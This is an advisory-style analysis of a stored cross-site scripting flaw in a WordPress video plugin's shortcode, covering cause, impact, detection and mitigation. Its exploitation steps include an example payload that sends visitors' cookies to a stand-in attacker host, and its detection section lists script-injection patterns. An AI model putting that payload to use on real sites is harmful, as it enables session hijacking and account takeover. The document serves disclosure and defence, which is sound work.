CVE-2026-1825: 
WordPress vulnerability analysis and mitigation

CVE-2026-1825 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Show YouTube Video" plugin for WordPress. It affects all versions up to and including 1.1, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the plugin's syv shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute when any user visits the affected page. It was published on March 7, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. The syv shortcode handler in show-youtube-video.php (lines 29 and 79) fails to properly sanitize user-supplied shortcode attributes before rendering them in HTML output, allowing malicious script content to be persisted in the database and reflected to site visitors. Exploitation requires at minimum a contributor-level WordPress account, meaning the attacker must be authenticated. No complex conditions or special configurations are needed beyond having a post or page where the shortcode can be inserted (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user — including administrators — who visits the compromised page. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the browsers of site visitors, though availability is not directly affected (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The requirement for at least contributor-level authentication limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Show YouTube Video" plugin version 1.1 or earlier, using tools like WPScan or by checking the plugin's readme.txt file exposed at /wp-content/plugins/show-youtube-video/readme.txt.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Craft malicious shortcode: Create or edit a post/page and insert the syv shortcode with a malicious attribute payload, e.g., [syv id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit for review: Save or submit the post. The malicious script is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized attribute is rendered in the HTML and the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing [syv shortcode with unusual or encoded attribute values; error logs showing unexpected JavaScript in page content.
• File System: No direct file modifications expected for stored XSS, but check the WordPress database (wp_posts table) for posts/pages containing [syv shortcode with script tags or encoded payloads (e.g., <script>, javascript:, onerror=, onload=).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the syv shortcode; unusual cookie or credential exfiltration traffic.
• Database: Entries in wp_posts or wp_postmeta containing the syv shortcode with suspicious attribute values including HTML event handlers or script URIs.

Users should update the "Show YouTube Video" WordPress plugin to a version beyond 1.1 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict contributor-level user registrations and limit who can publish or submit posts containing shortcodes. Site administrators should audit existing posts and pages for malicious [syv] shortcode usage and sanitize any suspicious content. Monitoring WordPress user accounts for unauthorized contributor-level registrations is also recommended (Wordfence).

The vulnerability was disclosed by Wordfence, which serves as the CVE assigner, and was picked up by standard vulnerability aggregation feeds shortly after publication on March 7, 2026. No notable researcher commentary, vendor statements beyond the Wordfence advisory, or significant media coverage has been identified for this vulnerability, consistent with its medium severity and limited scope (Wordfence).